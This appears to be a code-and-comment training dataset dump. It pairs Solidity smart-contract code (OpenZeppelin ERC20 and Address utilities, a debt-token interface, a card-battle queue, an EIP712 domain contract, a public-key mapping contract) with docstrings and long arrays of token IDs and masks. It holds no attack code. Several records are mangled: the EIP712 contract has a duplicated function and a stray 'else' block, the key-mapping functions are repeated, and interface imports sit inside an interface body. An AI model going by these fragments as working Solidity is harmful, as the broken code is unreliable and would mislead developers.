cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; }
* @title IDebtToken @author Bend @notice Defines the basic interface for a debt token./
interface IDebtToken is IScaledBalanceToken, IERC20Upgradeable, IERC20MetadataUpgradeable { event Initialized( address indexed underlyingAsset, address indexed pool, address incentivesController, uint8 debtTokenDecimals, string debtTokenName, string debtTokenSymbol ); function initialize( ILendPoolAddressesProvider addressProvider, address underlyingAsset, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol ) external; event Mint(address indexed from, uint256 value, uint256 index); function mint( address user, uint256 amount, uint256 index ) external returns (bool); event Burn(address indexed user, uint256 amount, uint256 index); function burn( address user, uint256 amount, uint256 index ) external; function getIncentivesController() external view returns (IIncentivesController); pragma solidity 0.8.4; import {ILendPoolAddressesProvider} from "../interfaces/ILendPoolAddressesProvider.sol"; import {IIncentivesController} from "./IIncentivesController.sol"; import {IScaledBalanceToken} from "./IScaledBalanceToken.sol"; import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {IERC20MetadataUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol"; }
14,435,934
[ 1, 734, 73, 23602, 1345, 225, 605, 409, 225, 18003, 281, 326, 5337, 1560, 364, 279, 18202, 88, 1147, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 758, 23602, 1345, 353, 4437, 12825, 13937, 1345, 16, 467, 654, 39, 3462, 10784, 429, 16, 467, 654, 39, 3462, 2277, 10784, 429, 288, 203, 225, 871, 10188, 1235, 12, 203, 565, 1758, 8808, 6808, 6672, 16, 203, 565, 1758, 8808, 2845, 16, 203, 565, 1758, 316, 2998, 3606, 2933, 16, 203, 565, 2254, 28, 18202, 88, 1345, 31809, 16, 203, 565, 533, 18202, 88, 1345, 461, 16, 203, 565, 533, 18202, 88, 1345, 5335, 203, 225, 11272, 203, 203, 225, 445, 4046, 12, 203, 565, 467, 48, 409, 2864, 7148, 2249, 1758, 2249, 16, 203, 565, 1758, 6808, 6672, 16, 203, 565, 2254, 28, 18202, 88, 1345, 31809, 16, 203, 565, 533, 3778, 18202, 88, 1345, 461, 16, 203, 565, 533, 3778, 18202, 88, 1345, 5335, 203, 225, 262, 3903, 31, 203, 203, 225, 871, 490, 474, 12, 2867, 8808, 628, 16, 2254, 5034, 460, 16, 2254, 5034, 770, 1769, 203, 203, 225, 445, 312, 474, 12, 203, 565, 1758, 729, 16, 203, 565, 2254, 5034, 3844, 16, 203, 565, 2254, 5034, 770, 203, 225, 262, 3903, 1135, 261, 6430, 1769, 203, 203, 225, 871, 605, 321, 12, 2867, 8808, 729, 16, 2254, 5034, 3844, 16, 2254, 5034, 770, 1769, 203, 203, 225, 445, 18305, 12, 203, 565, 1758, 729, 16, 203, 565, 2254, 5034, 3844, 16, 203, 565, 2254, 5034, 770, 203, 225, 262, 3903, 31, 203, 203, 225, 445, 7854, 2998, 3606, 2933, 1435, 3903, 1476, 1135, 261, 45, 382, 2998, 3606, 2933, 1769, 203, 683, 9454, 18035, 560, 2 ]
pragma solidity ^0.4.17; import "../CryptoCardsCore.sol"; contract BattleQueue { uint256 queue_battleGroupID; // ID of Battle Group in Queue // Queue Joined Event: Emitted every time a BattleGroup joins the Queue event QueueJoined(uint256 battleGroupID, uint64 eventTime); // Queue Matched Event: Emitted every time a match is made by the Queue event QueueMatched(uint256 battleGroup1, uint256 battleGroup2, uint64 eventTime); CryptoCardsCore public cryptoCardsContract; // Pointer to Card Contract function BattleQueue() public { CryptoCardsCore candidateContract = CryptoCardsCore(msg.sender); //require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); cryptoCardsContract = candidateContract; } function joinQueue(uint256 _battleGroupID) public returns (bool) { // Ensure Ready For Battle if (!isReadyForBattle(_battleGroupID)) { return false; } // Emit Queue Joined Event QueueJoined( _battleGroupID, // Battle Group ID uint64(now) // Event Time ); // Add to Queue if no existing opponent if (queue_battleGroupID == 0) { queue_battleGroupID = _battleGroupID; return true; } // Emit Queue Matched Event QueueMatched( _battleGroupID, // Battle Group 1 ID queue_battleGroupID, // Battle Group 2 ID uint64(now) // Event Time ); // Create Battle sendToBattle(_battleGroupID, queue_battleGroupID); // Clear Queue of existing opponent queue_battleGroupID = 0; return true; } function isReadyForBattle(uint256 _op) private view returns (bool) { return cryptoCardsContract.BattleGroupContract().isGroupReadyForBattle(_op); } function sendToBattle(uint256 _op1, uint256 _op2) private returns (uint256) { return cryptoCardsContract.BattleContract().createBattle(_op1, _op2); } }
Clear Queue of existing opponent
queue_battleGroupID = 0;
5,389,546
[ 1, 9094, 7530, 434, 2062, 1061, 1029, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 4000, 67, 70, 4558, 298, 30876, 273, 374, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x149470C96F361dcB558D528f7Fb29fdb0d493b93/sources/contracts/abstracts/EIP712.sol
EIP-191 Header EIP-712 Domain
abstract contract EIP712 { string public constant EIP191_HEADER = "\x19\x01"; string public constant EIP712_NAME = "Tokenlon"; string public constant EIP712_VERSION = "v6"; bytes32 public constant EIP712_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); bytes32 private constant EIP712_HASHED_NAME = keccak256(bytes(EIP712_NAME)); bytes32 private constant EIP712_HASHED_VERSION = keccak256(bytes(EIP712_VERSION)); uint256 public immutable originalChainId; bytes32 public immutable originalEIP712DomainSeparator; pragma solidity ^0.8.0; constructor() { originalChainId = block.chainid; originalEIP712DomainSeparator = _buildDomainSeparator(); } function _buildDomainSeparator() private view returns (bytes32) { return keccak256(abi.encode(EIP712_TYPE_HASH, EIP712_HASHED_NAME, EIP712_HASHED_VERSION, block.chainid, address(this))); } function _getDomainSeparator() private view returns (bytes32) { if (block.chainid == originalChainId) { return originalEIP712DomainSeparator; return _buildDomainSeparator(); } } function _getDomainSeparator() private view returns (bytes32) { if (block.chainid == originalChainId) { return originalEIP712DomainSeparator; return _buildDomainSeparator(); } } } else { function getEIP712Hash(bytes32 structHash) internal view returns (bytes32) { return keccak256(abi.encodePacked(EIP191_HEADER, _getDomainSeparator(), structHash)); } function EIP712_DOMAIN_SEPARATOR() external view returns (bytes32) { return _getDomainSeparator(); } }
4,221,906
[ 1, 41, 2579, 17, 30380, 4304, 512, 2579, 17, 27, 2138, 6648, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 512, 2579, 27, 2138, 288, 203, 565, 533, 1071, 5381, 512, 2579, 30380, 67, 7557, 273, 1548, 92, 3657, 64, 92, 1611, 14432, 203, 203, 565, 533, 1071, 5381, 512, 2579, 27, 2138, 67, 1985, 273, 315, 1345, 9379, 14432, 203, 565, 533, 1071, 5381, 512, 2579, 27, 2138, 67, 5757, 273, 315, 90, 26, 14432, 203, 565, 1731, 1578, 1071, 5381, 512, 2579, 27, 2138, 67, 2399, 67, 15920, 273, 417, 24410, 581, 5034, 2932, 41, 2579, 27, 2138, 3748, 12, 1080, 508, 16, 1080, 1177, 16, 11890, 5034, 2687, 548, 16, 2867, 3929, 310, 8924, 2225, 1769, 203, 565, 1731, 1578, 3238, 5381, 512, 2579, 27, 2138, 67, 15920, 2056, 67, 1985, 273, 417, 24410, 581, 5034, 12, 3890, 12, 41, 2579, 27, 2138, 67, 1985, 10019, 203, 565, 1731, 1578, 3238, 5381, 512, 2579, 27, 2138, 67, 15920, 2056, 67, 5757, 273, 417, 24410, 581, 5034, 12, 3890, 12, 41, 2579, 27, 2138, 67, 5757, 10019, 203, 203, 565, 2254, 5034, 1071, 11732, 2282, 3893, 548, 31, 203, 565, 1731, 1578, 1071, 11732, 2282, 41, 2579, 27, 2138, 3748, 6581, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 3885, 1435, 288, 203, 3639, 2282, 3893, 548, 273, 1203, 18, 5639, 350, 31, 203, 3639, 2282, 41, 2579, 27, 2138, 3748, 6581, 273, 389, 3510, 3748, 6581, 5621, 203, 565, 289, 203, 203, 565, 445, 389, 3510, 3748, 6581, 1435, 3238, 1476, 1135, 261, 3890, 1578, 13, 288, 203, 3639, 327, 417, 2 ]
./full_match/1/0x78E7CdD80E9A45Ab0B502E82986b4a0550080Da0/sources/browser/KeyMap.sol
* @title KeyMap This contracts maps addresses to public keys. Public keys for Secp256k1 are always 64 bytes. To save gas, this contract stores them as an array of two bytes32 words./
contract KeyMap { mapping(address => bytes32[2]) private mappedKeys; function mapKey(bytes32 slice0, bytes32 slice1) external returns(address _address) { assembly { let ptr := mload(0x40) calldatacopy(ptr, 0x04, 0x40) let mask := 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff _address := and(mask, keccak256(ptr, 0x40)) calldatacopy(ptr, calldatasize(), 0x40) } mappedKeys[_address][0] = slice0; mappedKeys[_address][1] = slice1; } function mapKey(bytes32 slice0, bytes32 slice1) external returns(address _address) { assembly { let ptr := mload(0x40) calldatacopy(ptr, 0x04, 0x40) let mask := 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff _address := and(mask, keccak256(ptr, 0x40)) calldatacopy(ptr, calldatasize(), 0x40) } mappedKeys[_address][0] = slice0; mappedKeys[_address][1] = slice1; } function mapKey(bytes calldata _pubKey) external returns(address _address) { require(_pubKey.length == 64, "Invalid public key."); bytes32[2] memory pubKey; assembly { calldatacopy(pubKey, 0x44, 0x40) let mask := 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff _address := and(mask, keccak256(pubKey, 0x40)) } mappedKeys[_address][0] = pubKey[0]; mappedKeys[_address][1] = pubKey[1]; } function mapKey(bytes calldata _pubKey) external returns(address _address) { require(_pubKey.length == 64, "Invalid public key."); bytes32[2] memory pubKey; assembly { calldatacopy(pubKey, 0x44, 0x40) let mask := 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff _address := and(mask, keccak256(pubKey, 0x40)) } mappedKeys[_address][0] = pubKey[0]; mappedKeys[_address][1] = pubKey[1]; } function getKey(address _address) public view returns (bytes memory pubKey) { pubKey = new bytes(64); bytes32[2] memory key = mappedKeys[_address]; require(key[0] != bytes32(0), "Key not mapped."); assembly { mstore(add(pubKey, 32), mload(key)) mstore(add(pubKey, 64), mload(add(key, 32))) } } function getKey(address _address) public view returns (bytes memory pubKey) { pubKey = new bytes(64); bytes32[2] memory key = mappedKeys[_address]; require(key[0] != bytes32(0), "Key not mapped."); assembly { mstore(add(pubKey, 32), mload(key)) mstore(add(pubKey, 64), mload(add(key, 32))) } } }
9,658,179
[ 1, 653, 863, 1220, 20092, 7565, 6138, 358, 1071, 1311, 18, 7224, 1311, 364, 3232, 84, 5034, 79, 21, 854, 3712, 5178, 1731, 18, 2974, 1923, 16189, 16, 333, 6835, 9064, 2182, 487, 392, 526, 434, 2795, 1731, 1578, 4511, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1929, 863, 288, 203, 225, 2874, 12, 2867, 516, 1731, 1578, 63, 22, 5717, 3238, 5525, 2396, 31, 203, 203, 225, 445, 852, 653, 12, 3890, 1578, 2788, 20, 16, 1731, 1578, 2788, 21, 13, 3903, 1135, 12, 2867, 389, 2867, 13, 288, 203, 565, 19931, 288, 203, 1377, 2231, 6571, 519, 312, 945, 12, 20, 92, 7132, 13, 203, 1377, 745, 892, 3530, 12, 6723, 16, 374, 92, 3028, 16, 374, 92, 7132, 13, 203, 1377, 2231, 3066, 519, 374, 92, 12648, 12648, 12648, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 203, 1377, 389, 2867, 519, 471, 12, 4455, 16, 417, 24410, 581, 5034, 12, 6723, 16, 374, 92, 7132, 3719, 203, 1377, 745, 892, 3530, 12, 6723, 16, 745, 13178, 554, 9334, 374, 92, 7132, 13, 203, 565, 289, 203, 565, 5525, 2396, 63, 67, 2867, 6362, 20, 65, 273, 2788, 20, 31, 203, 565, 5525, 2396, 63, 67, 2867, 6362, 21, 65, 273, 2788, 21, 31, 203, 225, 289, 203, 203, 225, 445, 852, 653, 12, 3890, 1578, 2788, 20, 16, 1731, 1578, 2788, 21, 13, 3903, 